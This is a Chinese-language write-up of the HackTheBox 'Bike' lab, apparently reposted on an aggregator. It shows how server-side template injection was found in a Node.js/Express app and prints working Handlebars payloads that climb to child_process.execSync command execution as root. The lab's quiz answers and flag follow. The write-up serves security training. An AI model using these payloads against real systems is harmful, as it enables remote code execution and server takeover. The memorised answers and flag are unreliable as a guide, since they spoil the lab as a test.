HTB-bike(SSTI模版注入)

news2024/11/15 11:15:00

前言

  • 大家好,我是qmx_07,今天给大家讲解bike靶场
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开放了 22 ssh 和 http80端口

Wappalyzer

  • 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等
    在这里插入图片描述
  • 服务器所使用Express框架

发现SSTI模版注入

在这里插入图片描述

  • 可以看到这个输入框,用来输出 内容
  • 尝试xss攻击失败
  • 介绍:book.hacktricks.xyz 是一个在线技术知识库,提供有关黑客技术、网络安全和渗透测试的信息和资源,学习网络安全渗透知识
  • 由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
    在这里插入图片描述
    在这里插入图片描述
  • 输入{{7*7}}正确的返回值是49
    在这里插入图片描述
  • 服务器显示报错,信息显示使用的handlebars模版
  • /root路径 可能拥有更高的权限

SSTI模版注入

在这里插入图片描述

  • 使用hacktricks里handlebars模版的注入poc
    在这里插入图片描述
  • 对poc进行url编码,防止出现其他问题
  • 显示require函数 无法被调用,可能做了一些安全限制,尝试绕过
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process;"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • process没有被禁用,尝试获取主函数
  • 在Node.js中,process是一个全局对象,它提供了对当前运行的Node.js进程的访问和控制
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainMoudle;"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • process.mainMoudle也可以调用,我们尝试间接调用require函数
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • child_process模块提供了创建子进程的功能,可以通过该模块执行外部的系统命令
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • execSync用于 命令执行相关函数
  • 服务器返回了账号名root
    在这里插入图片描述
    在这里插入图片描述
  • flag:6b258d726d287462d60c103d0142a81c

知识点讲解

  • 介绍:SSTI(Server-Side Template Injection)是一种Web应用程序中的漏洞类型,攻击者通过在模板引擎中注入恶意代码来执行服务器端的任意代码
  • 模版引擎是一种用于渲染动态内容的工具,常用于网页开发中的模板系统
  • 危害:敏感数据泄露、服务器端命令执行、远程代码执行等

答案

  • 1.服务器开放了TCP哪些端口?

22,80

  • 2.http端口运行着哪个语言?

Node.js

  • 3.web框架名称是什么?

Express

  • 4.通过{{7*7}}这种形式验证的漏洞叫什么?

Server Side Template Injection

  • 5.Node.js使用的模版是什么?

Handlebars

  • 6.burp编码的选项卡叫什么?

Decoder

  • 7.为了使用有效载荷,我们需要使用什么编码?

url

  • 8.在使用什么函数时,服务器响应未定义?

require

  • 9.在Node.js中最高的变量叫什么?

golobal(也就是全局变量)

  • 10.使用载荷后,用户名叫什么?

root

  • 11.flag是什么?

6b258d726d287462d60c103d0142a81c

总结

  • 我们介绍了book.hacktricks.xyz 技术网站,以及ssti模版注入,相关函数的调用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2101366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

紫光同创PDS自动构建

1.开发背景 随着开发进度的不断迭代,需要对代码实行管控,FPGA代码管控也很重要,这个篇章主要是对紫光同创 PDS 开发环境下实现代码自动构建功能 2.开发需求 设计实验: 1)点击一个脚本自动编译工程 2)工程…

Fréchet Inception Distance(FID)原理

原理概述: FID 的核心思想是通过比较真实图像和生成图像在 Inception 模型特征空间中的分布差异,来评估生成模型的性能。它假设从真实数据和生成数据中提取的特征都近似服从高斯分布。 具体步骤: 特征提取:使用预训练的 Incepti…

动态加载使用Appsflyer报错Attribution data for this AppsFlyer ID is not available

1. 使用动态classloader加载AF SDK 日志:不能获取到非自然量 2024-09-03 18:07:22.350 2114-2114 ddup com.pn.cal I 找到AssetManager 2024-09-03 18:07:22.350 2114-2114 ddup com.pn.cal …

免费分享:中国煤炭资源分布图

数据详情 中国煤炭资源分布图 数据属性 数据名称:中国煤炭资源分布图 空间位置:中国 ​ 下载方法 打开数字地球开放平台网站,需要先注册登录,登录完成后,选择服务与支持下的资源下载,搜索并点击进入本…

Python加载 TorchScript 格式的 ResNet18 模型分类该模型进行预测并输出预测的类别和置信度

首先加载预训练的 ResNet18 模型。将模型设置为评估模式,以确保特定层(如 Dropout 和 BatchNorm)在评估时具有确定性的行为。创建一个形状为 (1, 3, 224, 224) 的随机张量作为示例输入。使用 torch.jit.trace 函数追踪模型在给定示例输入上的…

渗透测试靶机----DC系列 DC-1

渗透测试靶机----DC系列 DC-1 开启靶机,依旧是登陆窗,平平无奇 扫描ip,扫描端口,服务等信息 可以看到这里存在80服务,访问看看 非常明显,这里存在一个Drupal 的cms 并且是一个登录框,思路打开 …

VMware Fusion 13.6 发布下载,新增功能概览

VMware Fusion 13.6 发布下载,新增功能概览 VMware Fusion 13.6 for Mac - 领先的免费桌面虚拟化软件 适用于基于 Intel 处理器和搭载 Apple 芯片的 Mac 的桌面虚拟化软件 请访问原文链接:https://sysin.org/blog/vmware-fusion-13/,查看最…

位运算专题——常见位运算位图的使用力扣实战应用

目录 1、常见位运算 2、算法应用【leetcode】 2.1 判断字符是否唯一【面试题 】 2.1.1 算法思想【位图】 2.1.2 算法代码 2.2 只出现一次的数字 III 2.2.1 算法思想 2.2.2 算法代码 2.3 丢失的数字 2.3.1 算法思想 2.3.2 算法代码 2.4 两整数之和 2.4.1 算法思想 2…

C语言之猜数字小游戏

哈喽,大家好!我是冰淇淋加点糖。今天我们来用前面所学的知识来开发一个猜数字的小游戏,锻炼我们的编程能力和编程思维。 猜数字小游戏功能简介 1.随机生成一个1-100的数字。 2.玩家用户开始猜数字。 > 猜大了,提醒猜大了…

【爬虫软件】采集抖音博主的主页发布作品

这是我用python开发的抖音爬虫采集软件,可自动按博主抓取已发布视频。 软件界面截图: 爬取结果截图: 几点重要说明: 软件使用演示视频: https://www.bilibili.com/video/BV1Kb42187qf 完整讲解文章: ht…

虚幻5|技能栏UI优化(3)——优化技能UI并实现显示背景UI,实现技能界面设计,实现技能栏的删除和添加

实现技能栏添加:将技能界面里的技能拖到技能栏格子 一.调整,在拖出技能的时候,还会有边框 1.打开拖拽的技能格子UI 除了技能按钮,下面的子级都放到垂直框的子级,然后删除技能按钮 2.将垂直框替换成包裹框 你会发现有…

OS_线程

2024.07.01:操作系统线程学习笔记 第7节 线程 7.1 线程的基本概念7.1.1 单线程地址空间 vs 多线程地址空间 7.2 线程的状态与转换(照搬进程设计)7.2.1 线程的3种基本状态 7.3 线程管理中的数据结构7.3.1 线程的用户栈7.3.2 线程的内核栈 7.4 …

用户时长进入“零和”时代,App们如何借Push胜出?

作者 | 曾响铃 文 | 响铃说 激烈的市场竞争、快速变化的用户需求、层出不穷的新赛道新玩法……对如今移动互联网的App开发者而言,寻求用户增长的压力变得越来越大。 而与此同时,Push作为促进用户增长的关键手段之一,其执行过程中的诸多问题…

坑——fastjson将字符串转到带枚举的java对象

fastjson将不同的字符串转换成带枚举的java对象时&#xff0c;不同的字符串值转换成java对象的结果不同&#xff1b; 测试用fastjson版本&#xff1a; <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <ver…

[有彩蛋]大模型独角兽阶跃星辰文生图模型Step-1X上线,效果具说很炸裂?快来看一手实测!

先简单介绍一下阶跃星辰吧 公司的创始人兼CEO是姜大昕博士&#xff0c;他在微软担任过全球副总裁&#xff0c;同时也是微软亚洲互联网工程研究院的副院长和首席科学家。 2024年3月&#xff0c;阶跃星辰发布了Step-2万亿参数MoE语言大模型预览版&#xff0c;这是国内初创公司首…

公司监控上网记录怎么实现?监控公司局域网内电脑的上网记录,这4个方法不妨一试!

在繁忙的办公室里&#xff0c;每位员工的手指在键盘上跳跃&#xff0c;屏幕闪烁间&#xff0c;他们究竟在忙碌什么&#xff1f;是沉浸在工作的海洋中&#xff0c;还是悄然滑向了网络的另一端&#xff1f; 为了解答这一疑问&#xff0c;确保工作效率与信息安全&#xff0c;公司纷…

webpack--处理资源

在webpack.config.js中进行配置 const path require(path) module.exports {// 入口entry: ./src/main.js,// 输出output: {// 文件的输出路径path: path.resolve(__dirname, dist),// 入口文件打包输出的文件名filename: js/main.js,// 自动清空上次打包结果 原理&#xff…

Spring中基于redis stream 的消息队列实现方法

本文主要介绍了消息队列的概念性质和应用场景&#xff0c;介绍了kafka、rabbitMq常用消息队列中间件的应用模型及消息队列的实现方式&#xff0c;并实战了在Spring中基于redis stream 的消息队列实现方法。 一、消息队列 消息队列是一种进程间通信或者同一个进程中不同线程间的…

Netlify 为静态站点部署 Waline 评论系统

目录 1 准备工作2 简介2.1 Netlify2.2 Waline2.3 Leancloud 3 开始搭建3.1 Fork 仓库3.2 设置 Leancloud3.3 部署 Netlify3.4 查看评论系统 从我建成个人网站以来&#xff0c;一个月了&#xff0c;竟然还没配置过评论系统&#xff0c;一直用的别人的 awa。 那么今天就稍微研究…

B站up主全程教学趋动云部署大模型:Meta新开源【Llama3.1-70B-Instruct】!

Llama 3.1 的指令调优版本&#xff08;8B、70B、405B&#xff09;针对多语言对话用例进行了优化&#xff0c;在比8种支持语言更广泛的语言集合上进行了训练&#xff0c;预训练模型可以适应多种自然语言生成任务。 Llama 3.1 模型集合还支持利用其模型的输出来改进其他模型&…